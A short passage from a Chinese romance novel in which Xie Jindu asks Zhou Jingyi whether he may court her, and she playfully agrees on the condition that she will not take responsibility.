“晚上有空吗?我想请你吃晚饭,顺便答谢一下你。”他说。 吃饭?答谢? 周景仪将手里的烟摁灭了,走过来说:“中午在你家吃过了,而且,你正在该要感谢的人也不是我。” 这露台上面风景虽好,风却很冷,她侧身绕过他,拾级而下。 谢津渡追上她:“其实我还有别的事。” 她朝他摆摆手,“我今天还有事,别的事下回再说吧。” “等等,”谢津渡叫住她,“我是想问问能不能追求你,你昨天不是说想泡我吗?” 呵,这可真够稀奇的。 周景仪停下脚步,耸耸肩,扭头望向他,漂亮的眼睛里夹杂着一缕看不清的玩味儿。 他这句话简直像在邀请她泡他…… 她深深打量了他一眼—— 谢津渡这张脸确实长在她的审美点上,身材也不错。 抛开过往来看,勉强也能打个90分。 泡他吗? 嗯,还挺想的。 这姓谢的都花了她老周家那么多钱,她泡他一下两下的怎么了? 况且,这还是他主动送上门的。 有时候,女人不快乐的根本原因是道德感太高。 这点和男人比起来,可太吃亏了。 她眉梢一挑,眼里漾起明晃晃的笑意,“泡你的话,我可不会负责任,愿意吗?”